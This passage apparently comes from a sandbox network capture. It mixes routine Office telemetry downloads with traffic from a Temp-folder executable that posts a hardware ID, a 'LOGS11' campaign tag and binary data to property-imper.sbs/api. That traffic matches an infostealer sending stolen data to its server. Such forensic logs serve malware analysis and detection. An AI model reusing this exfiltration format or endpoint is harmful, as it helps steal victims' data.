84	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:37 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:37 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022137Z-178bfbc474bscnbchC1NYCe7eg00000003x000000000kb5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:37 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49828	172.67.162.84	443	8096	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:37 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1N453BNCB6E4ZG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8766 Host: property-imper.sbs
2024-11-23 02:21:37 UTC	8766	OUT	Data Raw: 2d 2d 31 4e 34 35 33 42 4e 43 42 36 45 34 5a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 38 32 42 38 38 44 45 43 38 37 37 34 32 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 31 4e 34 35 33 42 4e 43 42 36 45 34 5a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 4e 34 35 33 42 4e 43 42 36 45 34 5a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 31 4e Data Ascii: --1N453BNCB6E4ZGContent-Disposition: form-data; name="hwid"6A82B88DEC87742DD7CBBD6DF28D3732--1N453BNCB6E4ZGContent-Disposition: form-data; name="pid"2--1N453BNCB6E4ZGContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--1N
2024-11-23 02:21:38 UTC	1020	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sd8olgmgkvtslctmre3gqhr6ea; expires=Tue, 18-Mar-2025 20:08:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xKi99M%2F7mM6EqXiP102OxtDcaLh9TPfT49XF34d4G0FWxX7v7PoBkrckT7LlD8gRFCxkFVyr%2BUTwCJunFYEWqQJAPPR%2Bybsdo%2BuPpzz8AWaV%2BGaGYtwrL7qgkbRCoxbvkqjo1eM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6dafd6ee150c9e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1727&sent=11&recv=15&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9703&delivery_rate=1613259&cwnd=32&unsent_bytes=0&cid=0990a2fb9ce3e5c5&ts=1254&x=0"
2024-11-23 02:21:38 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 02:21:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:39 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022139Z-174c587ffdfks6tlhC1TEBeza400000002dg000000006b7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 02:21:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:39 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:39 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022139Z-15b8b599d88z9sc7hC1TEBkr4w00000002dg000000009n3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:39 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:39 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:39 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022139Z-174c587ffdftjz9shC1TEBsh98000000023g00000000fz38 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:39 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:39 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:39 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 1a818a33-b01e-005c-4475-3b4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022139Z-174c587ffdf8lw6dhC1TEBkgs800000002c0000000003d7q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:39 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:39 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:40 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022140Z-178bfbc474btrnf9hC1NYCb80g00000003w000000000ruw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:40 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49836	172.67.162.84	443	8096	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:40 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M6H91C51F1EXJOF8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20431 Host: property-imper.sbs
2024-11-23 02:21:40 UTC	15331	OUT	Data Raw: 2d 2d 4d 36 48 39 31 43 35 31 46 31 45 58 4a 4f 46 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 38 32 42 38 38 44 45 43 38 37 37 34 32 44 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4d 36 48 39 31 43 35 31 46 31 45 58 4a 4f 46 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4d 36 48 39 31 43 35 31 46 31 45 58 4a 4f 46 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --M6H91C51F1EXJOF8Content-Disposition: form-data; name="hwid"6A82B88DEC87742DD7CBBD6DF28D3732--M6H91C51F1EXJOF8Content-Disposition: form-data; name="pid"3--M6H91C51F1EXJOF8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-23 02:21:40 UTC	5100	OUT	Data Raw: 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-11-23 02:21:41 UTC	1024	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0m1cin7andhob8h8njo7jupns1; expires=Tue, 18-Mar-2025 20:08:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tGZGN4Um6nbdhNeeI6RE2c%2FHuZycvjrcb%2FnKO1DeJLa41AmATjzFzSt%2B1vG5SUuPqcMYF0zJSZPmYo4IDk%2BGxO9ergzlAYENsoXujT7B%2BSsvO2GJpaEBvoFw%2BTswS7xci7TibVs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6dafe8c82f7c87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=31005&sent=13&recv=23&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21393&delivery_rate=1591280&cwnd=199&unsent_bytes=0&cid=ca3efdf2666cf55a&ts=936&x=0"
2024-11-23 02:21:41 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 02:21:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:41 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:41 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c6f64b36-301e-0000-4706-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022141Z-178bfbc474bpscmfhC1NYCfc2c00000002bg00000000mc0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 02:21:41 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:41 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 02:21:42 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 02:21:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 734d7ea1-001e-002b-57e4-3c99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T022141Z-178bfbc474bfw4gbhC1NYCunf400000003r000000000rwxv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 02:21:42 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 02:21:41 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
